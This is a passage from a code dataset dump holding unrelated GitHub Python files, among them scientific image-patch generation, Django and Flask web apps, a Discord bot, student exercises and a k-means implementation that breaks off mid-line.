rotate\n\nfrom csbdeep.data import RawData\n\ndef original():\n x = np.load('data/img006_noconv.npy')\n x = np.moveaxis(x, 1,2)\n ## initial axes are TZCYX, but we\n axes = 'CZYX'\n\n mypath = Path('isonet_psf_1')\n mypath.mkdir(exist_ok=True)\n\n subsample = 5.0 #10.2\n print('image size =', x.shape)\n print('image axes =', axes)\n print('subsample factor =', subsample)\n\n plt.switch_backend('agg')\n\n if False:\n plt.figure(figsize=(15,15))\n plot_some(np.moveaxis(x[0],1,-1)[[5,-5]], title_list=[['xy slice','xy slice']], pmin=2,pmax=99.8);\n plt.savefig(mypath / 'datagen_1.png')\n\n plt.figure(figsize=(15,15))\n plot_some(np.moveaxis(np.moveaxis(x[0],1,-1)[:,[50,-50]],1,0), title_list=[['xz slice','xz slice']], pmin=2,pmax=99.8, aspect=subsample);\n plt.savefig(mypath / 'datagen_2.png')\n\n def gimmeit_gen():\n ## iterate over time dimension\n for i in range(x.shape[0]):\n yield x[i],x[i],axes,None\n\n raw_data = RawData(gimmeit_gen, x.shape[0], \"this is great!\")\n\n ## initial idea\n if False:\n def buildkernel():\n kern = np.exp(- (np.arange(10)**2 / 2))\n kern /= kern.sum()\n kern = kern.reshape([1,1,-1,1])\n kern = np.stack([kern,kern],axis=1)\n return kern\n psf_kern = buildkernel()\n\n ## use Martins theoretical psf\n if False:\n psf_aniso = imread('data/psf_aniso_NA_0.8.tif')\n psf_channels = np.stack([psf_aniso,]*2, axis=1)\n\n def buildkernel():\n kernel = np.zeros(20)\n kernel[7:13] = 1/6\n ## reshape into CZYX. long axis is X.\n kernel = kernel.reshape([1,1,-1])\n ## repeate same kernel for both channels\n kernel = np.stack([kernel,kernel],axis=0)\n return kernel\n\n psf = buildkernel()\n print(psf.shape)\n\n ## use theoretical psf\n if False:\n psf_channels = np.load('data/measured_psfs.npy')\n psf = rotate(psf_channels, 90, axes=(1,3))\n\n iso_transform = data.anisotropic_distortions(\n subsample = subsample,\n psf = psf,\n )\n\n X, Y, XY_axes = data.create_patches (\n raw_data = raw_data,\n patch_size = (2,1,128,128),\n n_patches_per_image = 256,\n transforms = [iso_transform],\n )\n\n assert X.shape == Y.shape\n print(\"shape of X,Y =\", X.shape)\n print(\"axes of X,Y =\", XY_axes)\n\n # remove dummy z dim to obtain multi-channel 2D patches\n X = X[:,:,0,...]\n Y = Y[:,:,0,...]\n XY_axes = XY_axes.replace('Z','')\n\n assert X.shape == Y.shape\n print(\"shape of X,Y =\", X.shape)\n print(\"axes of X,Y =\", XY_axes)\n\n np.savez(mypath / 'my_training_data.npz', X=X, Y=Y, axes=XY_axes)\n\n for i in range(2):\n plt.figure(figsize=(16,4))\n sl = slice(8*i, 8*(i+1))\n plot_some(np.moveaxis(X[sl],1,-1),np.moveaxis(Y[sl],1,-1),title_list=[np.arange(sl.start,sl.stop)])\n plt.savefig(mypath / 'datagen_panel_{}.png'.format(i))\n\nif __name__ == '__main__':\n original()\n\n\nhistory = \"\"\"\n## Mon Jun 25 18:18:52 2018\n\n\n\"\"\"","repo_name":"colemanbroad/fisheye","sub_path":"src/isonet/datagen_isonet.py","file_name":"datagen_isonet.py","file_ext":"py","file_size_in_byte":3512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29571166433","text":"from django.urls import path\nfrom django.contrib.auth import views as auth_views\n\nurlpatterns = [\n # Aqui vão suas urls\n path('login/', auth_views.LoginView.as_view(\n template_name='usuarios/login.html',\n extra_context={\n 'titulo': 'Autenticação', \n 'botao': 'Entrar',\n 'classe': 'btn-primary'\n }\n ), name='login'),\n\n path('sair/', auth_views.LogoutView.as_view(\n \n ), name=\"logout\"),\n\n]\n","repo_name":"RickDaBRoi/woodpecker","sub_path":"WoodPecker/usuarios/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70478965032","text":"from flask import Flask\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef root():\n \"\"\"\n This function is called when visiting the root path of the api.\n :return:\n \"\"\"\n return {\"message\": \"Hello, World!\"}\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"RobertoChiosa/docker-python-tutorial","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39228626899","text":"#!/usr/bin/python3\n\"\"\"\nPrints state object with the name of state passed as an argument\nfrom the database.\n\"\"\"\n\nfrom sys import argv\nfrom model_state import Base, State\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\n\nif __name__ == \"__main__\":\n\n engine = create_engine(\n 'mysql+mysqldb://{}:{}@localhost:3306/{}'.format(\n argv[1], argv[2], argv[3]\n )\n )\n Session = sessionmaker(bind=engine)\n session = Session()\n\n state_obj = session.query(State).filter_by(State.name == argv[4]).first()\n if state_obj is None:\n print(\"Not found\")\n else:\n print(state_obj.id)\n","repo_name":"LionelMv/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/10-model_state_my_get.py","file_name":"10-model_state_my_get.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6657781502","text":"import ui\n\nimport sharedlibs\nsharedlibs.add_path_for('touch_view')\nfrom touch_view import TouchView\n\nclass CharPickerTile (ui.View):\n\n def __init__(self):\n self.callbackfn = lambda s: None\n self.action = lambda s: self.callback()\n\n def did_load(self):\n self.iv = self['iv']\n self.content_mode = ui.CONTENT_SCALE_ASPECT_FIT\n\n self.lbl = self['lbl']\n\n self.tv = TouchView()\n self.tv.frame = self.frame\n self.tv.flex = 'WH'\n self.tv.action = lambda s: self.action(s)\n self.add_subview(self.tv)\n\n def init(self, char, bg_color):\n self._reset_border()\n self.bg_color = bg_color\n self.char = char\n self.lbl.text = char\n self.iv.image = ui.Image.named('imgs/%s_thumbh.png' % char)\n\n def callback(self):\n self.callbackfn(self.char)\n\n def _reset_border(self):\n self.border_color = '#eee'\n self.border_width = 1\n self.corner_radius = 3\n\n @staticmethod\n def load_view(char, bg_color='#000'):\n v = ui.load_view()\n v.init(char, bg_color)\n return v\n \n","repo_name":"iAmMortos/SmashDownPlus","sub_path":"views/char_picker_tile.py","file_name":"char_picker_tile.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35865933306","text":"\n\"\"\"\nName: Owen Schlagenhaft\nlab5.py\nCreated a group of functions to facilitate a number of mathematical and graphic based problems.\n\"\"\"\nfrom graphics import *\nimport math\ndef target():\n width = 500\n height = 500\n win = GraphWin(\"Target\", width, height)\n win.redraw()\n center = Point(250,250)\n shape = Circle(center, 50)\n shape2 = Circle(center, 100)\n shape3 = Circle(center, 150)\n shape4 = Circle(center, 200)\n shape5 = Circle(center, 250)\n shape.setFill('Yellow')\n shape2.setFill('Red')\n shape3.setFill('Blue')\n shape4.setFill('Black')\n shape5.setFill('White')\n shape5.draw(win)\n shape4.draw(win)\n shape3.draw(win)\n shape2.draw(win)\n shape.draw(win)\n win.getMouse()\n win.close()\n\n\n\ndef triangle():\n width = 400\n height = 400\n win = GraphWin(\"Triangle\", width, height)\n win.redraw()\n win.getMouse()\n p1 = win.getMouse()\n p1.draw(win)\n p2 = win.getMouse()\n p2.draw(win)\n p3 = win.getMouse()\n p3.draw(win)\n shape = Polygon(p1, p2, p3)\n shape.setFill('Red')\n y2 = p2.getY()\n x2 = p2.getX()\n x = p1.getX()\n y = p1.getY()\n print(y)\n print(y2)\n dx = x2 - x\n print(dx)\n dy = y2 - y\n\n print(dy)\n length = math.sqrt(dx ** 2 + dy ** 2)\n print(length)\n s = (dx + dy + length) / 2\n print(s)\n area = (s * (s - dx)*(s - dy)*(s - length)) ** .5\n print(area)\n\n perimeter = length + dx + dy\n label = Text(Point(200, 300), \"Perimeter:\")\n label2 = Text(Point(200, 320), perimeter)\n label3 = Text(Point(200, 350), \"Area:\")\n label4 = Text(Point(200, 370), format(area,'.2f'))\n label.draw(win)\n label2.draw(win)\n label3.draw(win)\n label4.draw(win)\n shape.draw(win)\n win.getMouse()\n\n win.close()\n\n\ndef color_shape():\n '''Create code to allow a user to color a shape by entering rgb amounts'''\n\n # create window\n win_width = 400\n win_height = 400\n win = GraphWin(\"Color Shape\", win_width, win_height)\n win.setBackground(\"white\")\n\n # create text instructions\n msg = \"Enter color values between 0 - 255\\nClick window to color shape\"\n inst = Text(Point(win_width / 2, win_height - 20), msg)\n inst.draw(win)\n\n\n\n\n\n\n\n\n\n\n # create circle in window's center\n shape = Circle(Point(win_width / 2, win_height / 2 - 30), 50)\n shape.draw(win)\n\n\n # redTexPt is 50 pixels to the left and forty pixels down from center\n red_text_pt = Point(win_width / 2 - 50, win_height / 2 + 40)\n red_text = Text(red_text_pt, \"Red: \")\n red_text.setTextColor(\"red\")\n\n # green_text_pt is 30 pixels down from red\n green_text_pt = red_text_pt.clone()\n green_text_pt.move(0, 30)\n green_text = Text(green_text_pt, \"Green: \")\n green_text.setTextColor(\"green\")\n # blue_text_pt is 60 pixels down from red\n blue_text_pt = red_text_pt.clone()\n blue_text_pt.move(0, 60)\n blue_text = Text(blue_text_pt, \"Blue: \")\n blue_text.setTextColor(\"blue\")\n\n\n\n # display rgb text\n red_text.draw(win)\n green_text.draw(win)\n blue_text.draw(win)\n inputText1 = Entry(Point(200, 240), 5).draw(win)\n inputText1.getText()\n outputText = Text(Point(200, 240), \"\").draw(win)\n inputText2 = Entry(Point(200, 270), 5).draw(win)\n inputText2.getText()\n inputText3 = Entry(Point(200, 300), 5).draw(win)\n inputText3.getText()\n win.getMouse()\n intr = int(inputText1)\n intg = int(inputText2)\n intb = int(inputText3)\n shape.setFill(color_rgb(intr, intg, intb))\n #Cannot figure how to apply the Color_rgb application to the function\n # Wait for another click to exit\n win.getMouse()\n #win.close()\n\ndef process_string():\n str1 = input(\"\")\n print(str1[0])\n print(str1[-1])\n print(str1[1:5])\n print(str1[0]+str1[-1])\n print(10 * str1)\n for i in str1:\n print(i)\n len(str1)\n print(len(str1))\n\n\ndef process_list():\n pt = Point(5, 10)\n values = [5, \"hi\", 2.5, \"there\", pt, \"7.2\"]\n x = (values[1] + values[3])\n print(x)\n x = (values[0] + values[2])\n print(x)\n x = (values[1] * 5)\n print(x)\n x = (values[2], values[3], values[4])\n print(x)\n x = (values[2], values[3], values[0] + values[2])\n print(x)\n x = [5, 2.5, 7.2]\n print(x)\n x = (x[0]+x[1]+x[2])\n print(x)\n x = len(values)\n print(x)\n\ndef another_series():\n sum = 0\n x = eval(input(\"Enter the number of terms:\"))\n for i in range(0, 2*x, 2):\n n = (i % 6) + 2\n print(n, end=' ')\n sum = sum + n\n print(\"\\n sum =\", sum)\n\n\n\ndef main():\n target()\n triangle()\n color_shape()\n another_series()\n process_list()\n process_string()\n pass\n\n\nmain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ItsTheGreenG/220","sub_path":"labs/lab5/lab5.py","file_name":"lab5.py","file_ext":"py","file_size_in_byte":4683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19232565789","text":"# dynamic approach time exceeded sibal!\n# def lower(floor, hosu):\n# if (floor < 2):\n# return sum(range(1,hosu+1))\n# else:\n# total = 0\n# for i in range(1, hosu+1):\n# total += lower(floor-1, i)\n# return total\n\ndef lower(floor, hosu):\n apatu = [i for i in range(1, hosu+1)]\n for i in range(floor):\n for j in range(1, hosu):\n apatu[j] += apatu[j-1]\n return(apatu[-1])\n \n\nfor i in range(int(input())):\n floor = int(input())\n hosu = int(input())\n print(lower(floor = floor, hosu = hosu))","repo_name":"hgyoon/BaekjoonOnlineJudge","sub_path":"2775.py","file_name":"2775.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16272836887","text":"import inspect\nimport aiohttp\nimport discord\nfrom discord.ext import commands, tasks\nimport os\nimport cogs\nfrom events.onScheduledEventCreate import onScheduledEventCreate\nfrom events.onMemberRemove import onMemberRemove\nfrom events.onMemberJoin import onMemberJoin\nfrom events.onReady import onReady\n\n\nimport logging\n\nfrom utils.SQLRequests import SQLRequests\nfrom utils.exportDatabase import exportDataBase\nfrom utils.loggingConfig import setupLogging\n\nsetupLogging()\n\nclass Setup(commands.Bot):\n def __init__(self, is_test_mode=False):\n if is_test_mode:\n self.token: str = os.getenv(\"TEST_TOKEN\")\n self.guild_id: int = int(os.getenv(\"GUILD_TEST_ID\"))\n self.bot_id: int = int(os.getenv(\"BOT_TEST_ID\"))\n else:\n self.bot_id: int = int(os.getenv(\"BOT_ID\"))\n self.token: str = os.getenv(\"TOKEN\")\n self.guild_id: int = int(os.getenv(\"GUILD_ID\"))\n super().__init__(\"!\", intents=discord.Intents.all(), application_id=self.bot_id)\n self.db = SQLRequests()\n self.is_test_mode: bool = is_test_mode\n self.riot_token: str = os.getenv(\"RIOT_API_KEY\")\n\n async def setup_hook(self):\n self.session = aiohttp.ClientSession\n logging.info(f\"Loading commands...\")\n for cogName, _ in inspect.getmembers(cogs):\n if inspect.isclass(_):\n await self.load_extension(f\"cogs.{cogName}\")\n await self.tree.sync(guild=discord.Object(id=self.guild_id))\n logging.info(f\"Commands loaded!\")\n if self.is_test_mode:\n logging.info(\"Test mode: Background tasks disabled\")\n return\n if os.path.isdir('./db_saves') and self.db is not None:\n self.exportDataBaseTask.start()\n else:\n logging.warning(f\"./db_saves is not a valid directory, auto save task is disabled\")\n\n @tasks.loop(hours=24)\n async def exportDataBaseTask(self):\n exportDataBase()\n\n @exportDataBaseTask.before_loop\n async def before_exportDataBaseTask(self):\n await self.wait_until_ready()\n\n async def on_member_join(self, member):\n await onMemberJoin(self, member)\n\n async def on_member_remove(self, member):\n await onMemberRemove(self, member)\n\n async def on_scheduled_event_create(self, event):\n await onScheduledEventCreate(self, event)\n\n async def on_ready(self):\n await onReady(self)\n\n async def on_command_error(self, ctx, error):\n logging.error(error)\n\ntry:\n bot = Setup(is_test_mode=os.getenv(\"DEBUG\") == \"True\")\n bot.run(bot.token, reconnect=True, log_handler=None)\nexcept KeyboardInterrupt:\n logging.warning(\"\\nExiting...\")\n","repo_name":"hollitizz/discord_leaderboard","sub_path":"pyke/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9294454939","text":"#1- Determinar la cantidad de palabras que incluían al menos una \"e\" y tenían menos de 4 letras. Por\n#ejemplo, en el texto: “Este es el segundo parcial a evaluar.”, tiene 2 palabras que cumplen la\n#condición (\"es\" y \"el\"). La palabra \"a\" no cumple porque no tiene una \"e\" (aunque sí tiene menos\n#de 4 letras).\n\n#2- Determinar la longitud de la palabra más larga entre las que contenían al menos una \"s\". Por\n#ejemplo, en el texto: “La universidad es una etapa más de la vida.” hay tres palabras que\n#contienen al menos una \"s\" (\"universidad\", \"es\" y \"más\"), y la más larga (\"universidad\") tiene 11\n#letras.\n\n#3- Determinar cuántas palabras comenzaron con una vocal y tenían una consonante en la segunda\n#letra. Por ejemplo, en el texto: “Estamos en el horno.” hay tres palabras que cumplen la condición\n#(\"Estamos\", \"en\", \"el\").\n\n#4- Determinar cuántas palabras contienen la expresión \"ta\" más de una vez. Por ejemplo, en el\n#texto: “El resultado del partido nos dejó tartamudos.”, encontramos una palabra que cumple la\n#condición (“tartamudos”). La palabra \"resultado\" contiene la expresión \"ta\" pero sólo una vez, por\n#lo que no debe ser contada.\n\ndef controlta(x):\n ul = \"\"\n countptta = 0\n ta = 0\n for i in x:\n if i == \" \" or i == \".\":\n if ta >= 2:\n countptta += 1\n ta = 0\n ul = \"\"\n else:\n if ul == \"t\" and i == \"a\":\n ta += 1\n ul = i\n return countptta\n\ndef esConsonante(x):\n consonante = \"qwrtypsdfghjklñxcvbnm\"\n tienec = False\n if x in consonante:\n tienec = True\n return tienec\n\ndef esVocal(x):\n vocal = \"aeiou\"\n tienev = False\n if x in vocal:\n tienev = True\n return tienev\n\ndef controlpvyc(x):\n tienev = False\n tienec = False\n countl = 0\n countpcvyc = 0\n for i in x:\n if i == \" \" or i ==\".\":\n if tienev and tienec:\n countpcvyc += 1\n countl = 0\n tienev = False \n tienec = False\n else:\n countl += 1\n if countl == 1:\n tienev = esVocal(i)\n if countl == 2:\n tienec = esConsonante(i)\n return countpcvyc\n\ndef controlpls(x):\n lpmlcs = 0\n countl = 0\n tienes = False\n for i in x:\n if i == \" \" or i == \".\":\n if tienes:\n if countl > lpmlcs:\n lpmlcs = countl\n tienes = False \n countl = 0 \n else:\n countl += 1\n if i == \"s\":\n tienes = True\n\n return lpmlcs\n\ndef controle(x):\n tienee = False\n countl = 0\n countpce = 0\n for i in x:\n if i == \" \" or i == \".\":\n if countl < 4 and tienee:\n countpce += 1\n tienee = False\n countl = 0\n else:\n countl += 1\n if i == \"e\":\n tienee = True\n return countpce\n\ndef main():\n texto = input(\"Ingrese un texto que termine con un punto: \")\n tex = texto.lower()\n ce = controle(tex)\n cpmls = controlpls(tex)\n cpvyc = controlpvyc(tex)\n cta = controlta(tex)\n\n print(\"La cantidad de palabras que tienen e y tienen menos de 4 letras son: \" + str(ce))\n print(\"La palabra con la mayor cantidad de letras y que contiene s tiene una cantidad de: \" + str(cpmls) + \" letras.\")\n print(\"La cantidad de palabras que empiezan con vocal y su segunda letra es una consonante es de: \" + str(cpvyc))\n print(\"La cantidad de palabras que tienen 'ta' dos veces o mas es de: \" + str(cta))\n\nmain()\n","repo_name":"YagoRizzetti/AlgoritmosYEstructurasDeDatos1","sub_path":"PrimerCuatrimestre/SegundoParcial/practica2p2.py","file_name":"practica2p2.py","file_ext":"py","file_size_in_byte":3622,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23126865245","text":"import datetime, re\nfrom django.conf import settings\nfrom django import http\nfrom django.views.decorators.cache import cache_page\nfrom django.views.decorators.cache import cache_page\nfrom django.template import defaultfilters\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.db.models import Q\nfrom django.core.paginator import Paginator\nfrom secretballot.middleware import SecretBallotIpUseragentMiddleware\nfrom hateonyourjob.twits import models, forms\n\n@cache_page(300)\ndef index(request):\n twit_list = Paginator(models.Hate.objects.all(), 25)\n page = int(request.GET.get('page', '1'))\n twits = twit_list.page(page)\n return render_to_response(\"twits/index.html\", {'twits': twits})\n\ndef company(request, slug, sort=None):\n company = get_object_or_404(models.Company, company_slug=slug)\n if sort:\n if sort == \"votes\":\n twit_list = Paginator(models.Hate.objects.filter(hate_company=company).order_by(\"-hate_vote\"), 25)\n\n elif sort == \"newest\":\n twit_list = Paginator(models.Hate.objects.filter(hate_company=company).order_by(\"-created_date\"), 25)\n\n elif sort == \"oldest\":\n twit_list = Paginator(models.Hate.objects.filter(hate_company=company).order_by(\"created_date\"), 25)\n\n elif sort == \"title\":\n twit_list = Paginator(models.Hate.objects.filter(hate_company=company).order_by(\"hate_title\"), 25)\n\n else:\n twit_list = Paginator(models.Hate.objects.filter(hate_company=company), 25)\n\n else:\n twit_list = Paginator(models.Hate.objects.filter(hate_company=company), 25)\n page = int(request.GET.get('page', '1'))\n twits = twit_list.page(page)\n return render_to_response(\"twits/companies.html\", {'twits': twits})\n\ndef company_id(request, id):\n company = get_object_or_404(models.Company, id=id)\n twit_list = Paginator(models.Hate.objects.filter(hate_company=company), 25)\n page = int(request.GET.get('page', '1'))\n twits = twit_list.page(page)\n return render_to_response(\"twits/companies.html\", {'twits': twits})\n\ndef category(request, slug):\n category = get_object_or_404(models.Category, category_slug=slug)\n comps = models.Company.objects.filter(company_category=category.id)\n return render_to_response(\"twits/categories.html\", {'comps': comps})\n\ndef hate_on(request, slug=None):\n if request.method == 'POST':\n form = forms.HateForm(request.POST)\n if form.is_valid():\n human = True\n form.save()\n return HttpResponseRedirect('/')\n else:\n if slug:\n item = get_object_or_404(models.Company, company_slug=slug)\n form = forms.HateForm(initial={'hate_company': item.id})\n else:\n form = forms.HateForm()\n return render_to_response(\"twits/hate_on.html\", {'form': form})\n\ndef new_company(request):\n if request.method == 'POST':\n form = forms.CompanyForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n human = True\n form.save()\n slug = defaultfilters.slugify(data['company_name'])\n hate_obj = models.Hate()\n hate_obj.hate_company=models.Company.objects.get(company_slug=slug)\n hate_obj.hate_title=data['hate_title']\n hate_obj.hate_entry=data['hate_entry']\n hate_obj.hate_vote=1\n hate_obj.created_date=datetime.datetime.now()\n hate_obj.save()\n return HttpResponseRedirect('/')\n else:\n form = forms.CompanyForm(initial={'company_description': \"Please place a short description of the company here.\"})\n return render_to_response(\"twits/new_company.html\", {'form': form})\n\ndef about(request):\n return render_to_response(\"twits/about.html\", {})\n\ndef vote_up(request, id):\n twit = get_object_or_404(models.Hate, id=id)\n token = gen_token(request)\n twit.add_vote(token, \"1\")\n vote = models.Hate.objects.get(id=id)\n vote.hate_vote = vote.vote_total\n vote.save()\n return HttpResponseRedirect('/total_votes/%s' % twit.id)\n\ndef vote_down(request, id):\n twit = get_object_or_404(models.Hate, id=id)\n token = gen_token(request)\n twit.add_vote(token, \"1\")\n vote = models.Hate.objects.get(id=id)\n vote.hate_vote = vote.vote_total\n vote.save()\n return HttpResponseRedirect('/total_votes/%s' % twit.id)\n\ndef total_votes(request, id):\n twit = models.Hate.objects.get(id=id) \n return render_to_response(\"twits/total_vote.html\", {'twit': twit})\n\ndef gen_token(request):\n temp = SecretBallotIpUseragentMiddleware()\n token = temp.generate_token(request)\n return token\n\ndef greatest_hates(request):\n companies = models.Company.objects.all()[0:9]\n categories = models.Category.objects.all()\n twit_list = Paginator(models.Hate.objects.order_by('-hate_vote'), 25)\n page = int(request.GET.get('page', '1'))\n twits = twit_list.page(page)\n return render_to_response(\"twits/greatest.html\", {'twits': twits})\n\ndef search(request):\n if 'q' in request.GET:\n term = request.GET['q']\n comp_list = Paginator(models.Company.objects.filter(Q(company_name__icontains=term) | Q(company_description__icontains=term)), 5)\n page = int(request.GET.get('page', '1'))\n comp = comp_list.page(page)\n\n if comp is []:\n return HttpResponseRedirect('/')\n return render_to_response(\"twits/search.html\", {'comp': comp})\n\ndef hate_id(request, id):\n companies = models.Company.objects.all()[0:9]\n categories = models.Category.objects.all()\n twit = get_object_or_404(models.Hate, id=id)\n return render_to_response(\"twits/hate.html\", {'twit': twit})\n\ndef company_list(request):\n companies = models.Company.objects.all()[0:9]\n categories = models.Category.objects.all()\n comp_list = Paginator(models.Company.objects.all(), 25)\n page = int(request.GET.get('page', '1'))\n comp = comp_list.page(page)\n return render_to_response(\"twits/company_list.html\", {'comp': comp})\n\ndef cache_view(request):\n \"\"\" \n Tries to import memcache, fails out if it can't and raises a 404. Also\n raises a 404 in the case of unauthenticated users, or memcache not\n being used. Graciously borrowed from:\n http://effbot.org/zone/django-memcached-view.htm\n \"\"\"\n try:\n import memcache\n except ImportError:\n raise http.Http404\n\n if not (request.user.is_authenticated() and\n request.user.is_staff):\n raise http.Http404\n\n # get first memcached URI\n m = re.match(\n \"memcached://([.\\w]+:\\d+)\", settings.CACHE_BACKEND\n )\n if not m:\n raise http.Http404\n\n host = memcache._Host(m.group(1))\n host.connect()\n host.send_cmd(\"stats\")\n\n class Stats:\n pass\n\n stats = Stats()\n\n while 1:\n line = host.readline().split(None, 2)\n if line[0] == \"END\":\n break\n stat, key, value = line\n try:\n # convert to native type, if possible\n value = int(value)\n if key == \"uptime\":\n value = datetime.timedelta(seconds=value)\n elif key == \"time\":\n value = datetime.datetime.fromtimestamp(value)\n except ValueError:\n pass\n setattr(stats, key, value)\n\n host.close_socket()\n\n return render_to_response(\n 'memcached_status.html', dict(\n stats=stats,\n hit_rate=100 * stats.get_hits / stats.cmd_get,\n time=datetime.datetime.now(), # server time\n ))\n\n","repo_name":"rogersmark/Hate-On-Your-Job","sub_path":"twits/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"41312330577","text":"from tkinter import *\r\nimport tkinter as tk\r\n# Вариант 12\r\n# Дано целое число. Вывести его строку-описание вида «отрицательное четное число»,\r\n# «нулевое число», «положительное нечетное число» и т. д.\r\nroot = Tk()\r\nroot.title(\"PZ_3\")\r\nroot.geometry(\"400x150+480+90\")\r\nroot.resizable(False, False)\r\n\r\n\r\ndef close():\r\n root.destroy()\r\n root.quit()\r\n\r\n\r\ndef button_clicked(event):\r\n num = int(entry.get())\r\n print(num)\r\n res1 = \"\" # res1 для положительное или отрицательное\r\n res2 = \"\" # res2 для четное нечетное\r\n res3 = \"\" # res3 для нулевого\r\n\r\n if num == 0:\r\n res3 += \"нулевое\"\r\n if num > 0:\r\n res1 += \"положительное\"\r\n if num < 0:\r\n res1 += \"отрицательное\"\r\n if num % 2 == 0 and num != 0:\r\n res2 += \" четное\"\r\n if num % 2 != 0 and num != 0:\r\n res2 += \" нечетное\"\r\n last_label['text'] = \"Вы ввели \" + res1 + res2 + res3 + \" число\"\r\n\r\n\r\nLabel(root, text=\"Введите целое число\", font=\"Arial 13\").pack()\r\n\r\nentry = tk.Entry(root, font=\"Arial 13\")\r\nentry.pack()\r\n\r\nbutton = Button(root, text='Выполнить', bg=\"black\", fg=\"white\", font=\"Arial 13\", relief=\"flat\", command=\"button_clicked\")\r\nbutton.pack()\r\n\r\nlast_label = Label(root, text='', font=\"Arial 13\")\r\nlast_label.pack(fill=BOTH)\r\n\r\nbutton.bind('<Button-1>', button_clicked)\r\nroot.protocol('WM_DELETE_WINDOW', close)\r\nroot.mainloop()\r\n","repo_name":"shipkovandrej/Proj_1sem_Derechin","sub_path":"PZ_12/PZ_12_2.py","file_name":"PZ_12_2.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1648697531","text":"#!/usr/bin/python\r\n# coding=utf-8\r\n\r\nfrom numpy import *\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n\r\n# Load the data\r\ndef loadDataSet(fileName):\r\n dataSet = pd.read_csv('C:/Users/DELL/Desktop/part1/data/wine.csv')\r\n return dataSet\r\n\r\n\r\n# Calculate Euclidean Distance np.sqrt(sum(a**2))\r\ndef calcEucliDist(point, centroid):\r\n return sqrt(sum(power(point - centroid, 2))) # Find the distance between point and centroid\r\n\r\n\r\n# Build cluster centers and take k random centroids\r\ndef randInitCent(dataSet, k):\r\n n = shape(dataSet)[1]\r\n print('The data set shape is:', dataSet.shape)\r\n # Initialize k n-dimensional centroids\r\n centroids = mat(zeros((k, n)))\r\n for j in range(n):\r\n # Find the minimum value and maximum values for each column(dimension)\r\n minJ = min(dataSet[:, j])\r\n # print('Minimum value in the %d column' % j, minJ)\r\n maxJ = max(dataSet[:, j])\r\n # print('Maximum value in the %d column:' % j, maxJ)\r\n rangeJ = float(maxJ - minJ) # the value range of each dimension\r\n # print('range_j is:', rangeJ)\r\n centroids[:, j] = minJ + rangeJ * random.rand(k, 1) # obtain the random number in each dimension\r\n print(\"The randomly selected initial mean vector is:\\n\", centroids)\r\n return centroids\r\n\r\n\r\n# Implement k-means clustering algorithm\r\ndef kMeans(dataSet, k, distMeans=calcEucliDist, createCent=randInitCent):\r\n m = shape(dataSet)[0]\r\n print('m is:', m)\r\n \"\"\"\r\n Initialize an all-zero array of m*2. Note that there are tuples inside\r\n Used to store the sample belongs to what kind and centroid distance\r\n clusterAssment: The first column stores the center point to which the data belongs,\r\n and the second column is the distance from the data to the center point.\r\n \r\n \"\"\"\r\n clusterAssment = mat(zeros((m, 2)))\r\n # print('clusterAssment is:', clusterAssment)\r\n # step 1: init centroids\r\n # The random initial mean vector was found after the call\r\n centroids = createCent(dataSet, k)\r\n iter = 0\r\n # A convergence flag use to judge whether that cluster has converged\r\n converged = False\r\n while not converged and iter < 100:\r\n iter += 1\r\n converged = True\r\n # An ordered sequence from 0 to m sequentially takes out elements and assigns them to i\r\n for i in range(m): # Divide each data point into its nearest center point.\r\n minDist = inf\r\n minIndex = -1\r\n # print('minDist is:', minDist)\r\n # step 2: find the centroid who is closest\r\n for j in range(k):\r\n # The initial mean vector array takes out the elements of two columns in each row\r\n # and the elements of two columns in all rows in the data set\r\n # to calculate the distance\r\n distJI = distMeans(centroids[j, :], dataSet[i, :])\r\n # If the distance is the smallest, mark the row of the current mean vector.\r\n if distJI < minDist:\r\n minDist = distJI\r\n minIndex = j # If the i-th data point is closer to the j-th center point, i will be assigned to j.\r\n if clusterAssment[i, 0] != minIndex:\r\n converged = False # If the centroid location changes, the iteration needs to continue.\r\n # Class and Euclidean Distance Square\r\n # and store the distribution of data point i in the dictionary\r\n clusterAssment[i, :] = minIndex, minDist ** 2\r\n print(centroids)\r\n # step 4: update centroids\r\n for cent in range(k):\r\n ptsInClust = []\r\n for j in range(m):\r\n if clusterAssment[j, 0] == cent:\r\n ptsInClust.append(dataSet[j].tolist()[0])\r\n ptsInClust = mat(ptsInClust)\r\n # print('ptsInClust is:', ptsInClust)\r\n # Average by column, i.e. new mean vector\r\n # Calculate the new centroid based on all samples in cluster cent\r\n centroids[cent, :] = np.mean(ptsInClust, axis=0)\r\n print('This is 